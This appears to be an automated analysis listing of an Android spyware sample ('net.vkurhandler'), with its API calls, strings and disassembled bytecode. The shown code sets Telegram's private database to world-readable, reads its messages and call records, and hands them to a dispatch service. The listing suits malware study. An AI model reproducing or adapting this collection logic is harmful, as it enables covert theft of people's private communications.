                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.getString
                    Strings
                    • response
                    • success
                    • data
                    • left
                    • success_gcm_key
                    • error
                    • user_not_found
                    • auth_invalid
                    • incorrect_user_data
                    • AddDeviceActivity
                    • incorrect_device_id
                    • over_limit
                    • added_on_another_login
                    • already_added
                    • error:
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    2iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    4invoke-static {v0}, Lnet/vkurhandler/AddDeviceActivity;->a(Lnet/vkurhandler/AddDeviceActivity;)Landroid/app/ProgressDialog;
                    5move-result-object v0
                    6if-eqz v0, :cond_1e
                    8iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    10invoke-static {v0}, Lnet/vkurhandler/AddDeviceActivity;->a(Lnet/vkurhandler/AddDeviceActivity;)Landroid/app/ProgressDialog;
                    11move-result-object v0
                    13invoke-virtual {v0}, Landroid/app/ProgressDialog;->isShowing()Z
                    14move-result v0
                    15if-eqz v0, :cond_1e
                    17iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    19invoke-static {v0}, Lnet/vkurhandler/AddDeviceActivity;->a(Lnet/vkurhandler/AddDeviceActivity;)Landroid/app/ProgressDialog;
                    20move-result-object v0
                    22invoke-virtual {v0}, Landroid/app/ProgressDialog;->dismiss()V
                    23cond_1e: new-instance v0, Ljava/lang/String;
                    25invoke-direct {v0, p3}, Ljava/lang/String;-><init>([B)V
                    26new-instance v1, Lorg/json/JSONObject;
                    28invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    30const-string v0, "response"
                    32invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    33move-result-object v0
                    35const-string v1, "success"
                    37invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    38move-result v1
                    39if-eqz v1, :cond_9a
                    41const-string v1, "data"
                    43invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    44move-result-object v0
                    46const-string v1, "left"
                    48invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    49move-result v0
                    51iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    53invoke-static {v1}, Lnet/vkurhandler/AddDeviceActivity;->b(Lnet/vkurhandler/AddDeviceActivity;)Landroid/content/SharedPreferences;
                    54move-result-object v1
                    56const-string v2, "success_gcm_key"
                    57const/4 v3, 0x0
                    59invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    60move-result v1
                    61if-nez v1, :cond_5a
                    63iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    65invoke-virtual {v1}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    66move-result-object v1
                    68invoke-static {v1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    69cond_5a:
                    70iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    72invoke-virtual {v1}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    73move-result-object v1
                    74new-instance v2, Ljava/lang/StringBuilder;
                    76iget-object v3, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    77const v4, 0x7f0600cf
                    79invoke-virtual {v3, v4}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    80move-result-object v3
                    82invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    83move-result-object v3
                    85invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    87invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    88move-result-object v0
                    90invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    91move-result-object v0
                    92const/4 v2, 0x1
                    94invoke-static {v1, v0, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    95move-result-object v0
                    97invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    99iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    100new-instance v1, Landroid/content/Intent;
                    102iget-object v2, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    104invoke-virtual {v2}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    105move-result-object v2
                    106const-class v3, Lnet/vkurhandler/EnterActivity;
                    108invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    110invoke-virtual {v0, v1}, Lnet/vkurhandler/AddDeviceActivity;->startActivity(Landroid/content/Intent;)V
                    112iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    114invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->finish()V
                    115goto_99: return-void
                    116cond_9a:
                    117const-string v1, "error"
                    119invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    120move-result-object v1
                    122const-string v2, "user_not_found"
                    124invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    125move-result v2
                    126if-nez v2, :cond_b8
                    128const-string v2, "auth_invalid"
                    130invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    131move-result v2
                    132if-nez v2, :cond_b8
                    134const-string v2, "incorrect_user_data"
                    136invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    137move-result v2
                    138if-eqz v2, :cond_ed
                    139cond_b8:
                    140iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    142invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    143move-result-object v0
                    145iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    146const v2, 0x7f0600b8
                    148invoke-virtual {v1, v2}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    149move-result-object v1
                    150const/4 v2, 0x1
                    152invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    153move-result-object v0
                    155invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    156try_end_cf: goto/16 :goto_99
                    157catch_d0: move-exception v0
                    159const-string v1, "AddDeviceActivity"
                    161invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    163iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    165invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    166move-result-object v0
                    168iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    169const v2, 0x7f06000f
                    171invoke-virtual {v1, v2}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    172move-result-object v1
                    174invoke-static {v0, v1, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    175move-result-object v0
                    177invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    178goto/16 :goto_99
                    179cond_ed:
                    180const-string v2, "incorrect_device_id"
                    182invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    183move-result v2
                    184if-eqz v2, :cond_10d
                    186iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    188invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    189move-result-object v0
                    191iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    192const v2, 0x7f060012
                    194invoke-virtual {v1, v2}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    195move-result-object v1
                    196const/4 v2, 0x1
                    198invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    199move-result-object v0
                    201invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    202goto/16 :goto_99
                    203cond_10d:
                    204const-string v2, "over_limit"
                    206invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    207move-result v2
                    208if-eqz v2, :cond_12e
                    210iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    212invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    213move-result-object v0
                    215iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    216const v2, 0x7f0600ce
                    218invoke-virtual {v1, v2}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    219move-result-object v1
                    220const/4 v2, 0x1
                    222invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    223move-result-object v0
                    225invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    226goto/16 :goto_99
                    227cond_12e:
                    228const-string v2, "added_on_another_login"
                    230invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    231move-result v2
                    232if-eqz v2, :cond_14f
                    234iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    236invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    237move-result-object v0
                    239iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    240const v2, 0x7f060010
                    242invoke-virtual {v1, v2}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    243move-result-object v1
                    244const/4 v2, 0x1
                    246invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    247move-result-object v0
                    249invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    250goto/16 :goto_99
                    251cond_14f:
                    252const-string v2, "already_added"
                    254invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    255move-result v1
                    256if-eqz v1, :cond_170
                    258iget-object v0, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    260invoke-virtual {v0}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    261move-result-object v0
                    263iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    264const v2, 0x7f0600d0
                    266invoke-virtual {v1, v2}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    267move-result-object v1
                    268const/4 v2, 0x1
                    270invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    271move-result-object v0
                    273invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    274goto/16 :goto_99
                    275cond_170:
                    276iget-object v1, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    278invoke-virtual {v1}, Lnet/vkurhandler/AddDeviceActivity;->getApplicationContext()Landroid/content/Context;
                    279move-result-object v1
                    281iget-object v2, p0, Lnet/vkurhandler/a;->a:Lnet/vkurhandler/AddDeviceActivity;
                    282const v3, 0x7f060011
                    284invoke-virtual {v2, v3}, Lnet/vkurhandler/AddDeviceActivity;->getString(I)Ljava/lang/String;
                    285move-result-object v2
                    286const/4 v3, 0x1
                    288invoke-static {v1, v2, v3}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    289move-result-object v1
                    291invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    293invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    294move-result v1
                    295if-eqz v1, :cond_99
                    297const-string v1, "AddDeviceActivity"
                    298const/4 v2, 0x2
                    299new-array v2, v2, [Ljava/lang/String;
                    300const/4 v3, 0x0
                    302const-string v4, "error:"
                    303aput-object v4, v2, v3
                    304const/4 v3, 0x1
                    306const-string v4, "error"
                    308invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    309move-result-object v0
                    310aput-object v0, v2, v3
                    312invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    313try_end_1a3: goto/16 :goto_99
                    APIs
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.do.a
                    • net.vkurhandler.do.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.do.k:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.do.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.do.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getBlob
                    • android.database.Cursor.getLong
                    • net.vkurhandler.do.c
                    • net.vkurhandler.do.c
                    • net.vkurhandler.do.b
                    • net.vkurhandler.do.b
                    • net.vkurhandler.do.a
                    • net.vkurhandler.do.c
                    • java.lang.String.equals
                    • net.vkurhandler.do.l
                    • java.lang.Integer.valueOf
                    • java.lang.Integer.valueOf
                    • java.lang.Boolean.valueOf
                    • java.lang.Long.valueOf
                    • java.lang.String.format
                    • net.vkurhandler.do.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.do.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.do.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.do.d:Landroid/content/Context
                    • net.vkurhandler.do.a
                    • java.lang.String.equals
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/org.telegram.messenger/files/*
                    • 0777
                    • /data/data/org.telegram.messenger/files/
                    • /data/data/org.telegram.messenger/files/cache4.db
                    • last_tg_update_date
                    • messages
                    • date >
                    • unknowPeer
                    • unknownPeer
                    • RTTelegram
                    • %s,%s,%d,%s,%b,%s,%d
                    • messenger_rt_telegram_transmit_call
                    • type
                    • sub_type
                    • call_type
                    • date
                    • phone_number
                    • name
                    • duration
                    • call_id
                    • bat_level
                    • charger
                    • message
                    • sender
                    • peer
                    • group_name
                    • is_out
                    • dialog_id
                    Position Instruction Meta Information
                    0move-object/from16 v0, p0
                    1iget-wide v2, v0, Lnet/vkurhandler/do;->c:J
                    3invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(J)V
                    4const/4 v3, 0x0
                    5const/4 v10, 0x0
                    6try_start_9:
                    7const-string v2, "/data/data/org.telegram.messenger/files/*"
                    9const-string v4, "0777"
                    10const/4 v5, 0x1
                    12invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    14const-string v2, "/data/data/org.telegram.messenger/files/"
                    16const-string v4, "0777"
                    17const/4 v5, 0x1
                    19invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    21const-string v2, "/data/data/org.telegram.messenger/files/cache4.db"
                    23const-string v4, "0777"
                    24const/4 v5, 0x1
                    26invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    28const-string v2, "/data/data/org.telegram.messenger/files/cache4.db"
                    29const/4 v4, 0x0
                    30const/16 v5, 0x11
                    32invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    33try_end_29: move-result-object v2
                    34try_start_2a: move-object/from16 v0, p0
                    36invoke-direct {v0, v2}, Lnet/vkurhandler/do;->a(Landroid/database/sqlite/SQLiteDatabase;)J
                    37move-result-wide v14
                    38move-object/from16 v0, p0
                    40iget-object v3, v0, Lnet/vkurhandler/do;->g:Landroid/content/SharedPreferences;
                    42const-string v4, "last_tg_update_date"
                    43const-wide/16 v6, 0x0
                    45invoke-interface {v3, v4, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    46move-result-wide v4
                    47move-object/from16 v0, p0
                    48iput-wide v4, v0, Lnet/vkurhandler/do;->o:J
                    49move-object/from16 v0, p0
                    50iget-wide v4, v0, Lnet/vkurhandler/do;->o:J
                    51cmp-long v3, v14, v4
                    52if-lez v3, :cond_9c
                    53const/4 v3, 0x1
                    54goto_49: if-eqz v3, :cond_33a
                    56const-string v3, "messages"
                    58sget-object v4, Lnet/vkurhandler/do;->k:[Ljava/lang/String;
                    59new-instance v5, Ljava/lang/StringBuilder;
                    61const-string v6, "date > "
                    63invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    64move-object/from16 v0, p0
                    65iget-wide v6, v0, Lnet/vkurhandler/do;->o:J
                    67invoke-virtual {v5, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    68move-result-object v5
                    70invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    71move-result-object v5
                    72const/4 v6, 0x0
                    73const/4 v7, 0x0
                    74const/4 v8, 0x0
                    75const/4 v9, 0x0
                    77invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    78try_end_69: move-result-object v4
                    79const/4 v3, 0x0
                    80goto_6b:
                    81invoke-interface {v4}, Landroid/database/Cursor;->moveToNext()Z
                    82move-result v5
                    83if-nez v5, :cond_9e
                    84if-eqz v3, :cond_8b
                    85move-object/from16 v0, p0
                    87iget-object v3, v0, Lnet/vkurhandler/do;->g:Landroid/content/SharedPreferences;
                    89invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    90move-result-object v3
                    92const-string v5, "last_tg_update_date"
                    94invoke-interface {v3, v5, v14, v15}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    95move-result-object v3
                    97invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    98move-object/from16 v0, p0
                    100iget-object v3, v0, Lnet/vkurhandler/do;->d:Landroid/content/Context;
                    102invoke-static {v3}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    103cond_8b: if-eqz v4, :cond_90
                    104try_start_8d:
                    105invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    106cond_90: if-eqz v2, :cond_9b
                    108invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    109move-result v3
                    110if-eqz v3, :cond_9b
                    112invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    113cond_9b: return-void
                    114cond_9c: const/4 v3, 0x0
                    115goto/16 :goto_49
                    116cond_9e: const/4 v3, 0x0
                    117try_start_9f:
                    118invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    119move-result v12
                    120const/4 v3, 0x1
                    122invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    123move-result v13
                    124const/4 v3, 0x4
                    126invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    127move-result v3
                    128const/4 v5, 0x1
                    129if-ne v3, v5, :cond_26e
                    130const/4 v3, 0x1
                    131move v11, v3
                    132goto_b2: const/4 v3, 0x3
                    134invoke-interface {v4, v3}, Landroid/database/Cursor;->getBlob(I)[B
                    135move-result-object v16
                    136const/4 v3, 0x2
                    138invoke-interface {v4, v3}, Landroid/database/Cursor;->getLong(I)J
                    139move-result-wide v18
                    141const-string v10, ""
                    143const-string v9, "unknowPeer"
                    145const-string v8, "unknownPeer"
                    146const/4 v7, 0x0
                    148const-string v6, ""
                    150const-string v5, ""
                    152const-string v3, ""
                    153if-eqz v16, :cond_330
                    154new-instance v10, Lorg/a/a/d;
                    155move-object/from16 v0, v16
                    157invoke-direct {v10, v0}, Lorg/a/a/d;-><init>([B)V
                    158const/16 v16, 0x0
                    159move/from16 v0, v16
                    161invoke-virtual {v10, v0}, Lorg/a/a/d;->a(Z)I
                    162move-result v16
                    163const/16 v17, 0x0
                    164move/from16 v0, v16
                    165move/from16 v1, v17
                    167invoke-static {v10, v0, v1}, Lorg/a/a/t;->a(Lorg/a/a/a;IZ)Lorg/a/a/t;
                    168move-result-object v16
                    169move-object/from16 v0, v16
                    171iget-object v10, v0, Lorg/a/a/t;->i:Ljava/lang/String;
                    172move-object/from16 v0, v16
                    173iget v0, v0, Lorg/a/a/t;->c:I
                    174move/from16 v17, v0
                    175move-object/from16 v0, v16
                    177iget-object v0, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    178move-object/from16 v17, v0
                    179if-eqz v17, :cond_110
                    180move-object/from16 v0, v16
                    182iget-object v0, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    183move-object/from16 v17, v0
                    184move-object/from16 v0, v17
                    185iget v0, v0, Lorg/a/a/aa;->c:I
                    186move/from16 v17, v0
                    187if-eqz v17, :cond_110
                    188move-object/from16 v0, v16
                    190iget-object v8, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    191iget v8, v8, Lorg/a/a/aa;->c:I
                    192move-object/from16 v0, p0
                    194invoke-direct {v0, v8}, Lnet/vkurhandler/do;->c(I)Ljava/lang/String;
                    195move-result-object v8
                    196cond_110: move-object/from16 v0, v16
                    197iget v0, v0, Lorg/a/a/t;->c:I
                    198move/from16 v17, v0
                    199if-eqz v17, :cond_122
                    200move-object/from16 v0, v16
                    201iget v9, v0, Lorg/a/a/t;->c:I
                    202move-object/from16 v0, p0
                    204invoke-direct {v0, v9}, Lnet/vkurhandler/do;->c(I)Ljava/lang/String;
                    205move-result-object v9
                    206cond_122: move-object/from16 v0, v16
                    208iget-object v0, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    209move-object/from16 v17, v0
                    210if-eqz v17, :cond_144
                    211move-object/from16 v0, v16
                    213iget-object v0, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    214move-object/from16 v17, v0
                    215move-object/from16 v0, v17
                    216iget v0, v0, Lorg/a/a/aa;->d:I
                    217move/from16 v17, v0
                    218if-eqz v17, :cond_144
                    219move-object/from16 v0, v16
                    221iget-object v3, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    222iget v3, v3, Lorg/a/a/aa;->d:I
                    223move-object/from16 v0, p0
                    225invoke-direct {v0, v3}, Lnet/vkurhandler/do;->b(I)Ljava/lang/String;
                    226move-result-object v3
                    227cond_144: move-object/from16 v0, v16
                    229iget-object v0, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    230move-object/from16 v17, v0
                    231if-eqz v17, :cond_166
                    232move-object/from16 v0, v16
                    234iget-object v0, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    235move-object/from16 v17, v0
                    236move-object/from16 v0, v17
                    237iget v0, v0, Lorg/a/a/aa;->b:I
                    238move/from16 v17, v0
                    239if-eqz v17, :cond_166
                    240move-object/from16 v0, v16
                    242iget-object v3, v0, Lorg/a/a/t;->d:Lorg/a/a/aa;
                    243iget v3, v3, Lorg/a/a/aa;->b:I
                    244move-object/from16 v0, p0
                    246invoke-direct {v0, v3}, Lnet/vkurhandler/do;->b(I)Ljava/lang/String;
                    247move-result-object v3
                    248cond_166: move-object/from16 v0, v16
                    250iget-object v0, v0, Lorg/a/a/t;->f:Lorg/a/a/u;
                    251move-object/from16 v17, v0
                    252if-eqz v17, :cond_330
                    253move-object/from16 v0, v16
                    255iget-object v0, v0, Lorg/a/a/t;->f:Lorg/a/a/u;
                    256move-object/from16 v17, v0
                    257move-object/from16 v0, v17
                    258iget-wide v0, v0, Lorg/a/a/u;->p:J
                    259move-wide/from16 v20, v0
                    260const-wide/16 v22, 0x0
                    261cmp-long v17, v20, v22
                    262if-eqz v17, :cond_330
                    263move-object/from16 v0, v16
                    265iget-object v5, v0, Lorg/a/a/t;->f:Lorg/a/a/u;
                    266iget v7, v5, Lorg/a/a/u;->r:I
                    267move-object/from16 v0, p0
                    269invoke-direct {v0, v13}, Lnet/vkurhandler/do;->a(I)Ljava/lang/String;
                    270move-result-object v6
                    271move-object/from16 v0, p0
                    273invoke-direct {v0, v13}, Lnet/vkurhandler/do;->c(I)Ljava/lang/String;
                    274move-result-object v5
                    275move-object/from16 v24, v3
                    276move-object v3, v8
                    277move v8, v7
                    278move-object v7, v6
                    279move-object v6, v5
                    280move-object/from16 v5, v24
                    281goto_19a: if-nez v11, :cond_1a6
                    283invoke-virtual {v9, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    284move-result v16
                    285if-eqz v16, :cond_1a6
                    287invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/do;->l()Ljava/lang/String;
                    288move-result-object v3
                    289cond_1a6:
                    290invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    291move-result v16
                    292if-eqz v16, :cond_1ed
                    294const-string v16, "RTTelegram"
                    296const-string v17, "%s,%s,%d,%s,%b,%s,%d"
                    297const/16 v20, 0x7
                    298move/from16 v0, v20
                    299new-array v0, v0, [Ljava/lang/Object;
                    300move-object/from16 v20, v0
                    301const/16 v21, 0x0
                    302aput-object v9, v20, v21
                    303const/16 v21, 0x1
                    304aput-object v3, v20, v21
                    305const/16 v21, 0x2
                    307invoke-static {v12}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    308move-result-object v12
                    309aput-object v12, v20, v21
                    310const/4 v12, 0x3
                    312invoke-static {v13}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    313move-result-object v21
                    314aput-object v21, v20, v12
                    315const/4 v12, 0x4
                    317invoke-static {v11}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    318move-result-object v21
                    319aput-object v21, v20, v12
                    320const/4 v12, 0x5
                    321aput-object v10, v20, v12
                    322const/4 v12, 0x6
                    324invoke-static/range {v18 .. v19}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    325move-result-object v21
                    326aput-object v21, v20, v12
                    327move-object/from16 v0, v17
                    328move-object/from16 v1, v20
                    330invoke-static {v0, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    331move-result-object v12
                    332move-object/from16 v0, v16
                    334invoke-static {v0, v12}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    335cond_1ed: const/4 v12, 0x1
                    336if-lez v8, :cond_274
                    337move-object/from16 v0, p0
                    339iget-object v3, v0, Lnet/vkurhandler/do;->h:Landroid/content/SharedPreferences;
                    341const-string v5, "messenger_rt_telegram_transmit_call"
                    342const/4 v9, 0x0
                    344invoke-interface {v3, v5, v9}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    345move-result v3
                    346if-eqz v3, :cond_2c6
                    348invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    349move-result-object v5
                    351const-string v3, "type"
                    352const/4 v9, 0x1
                    354invoke-virtual {v5, v3, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    356const-string v3, "sub_type"
                    357const/16 v9, 0x15
                    359invoke-virtual {v5, v3, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    361const-string v9, "call_type"
                    362if-eqz v11, :cond_272
                    363const/4 v3, 0x2
                    364goto_213:
                    365invoke-virtual {v5, v9, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    367const-string v3, "date"
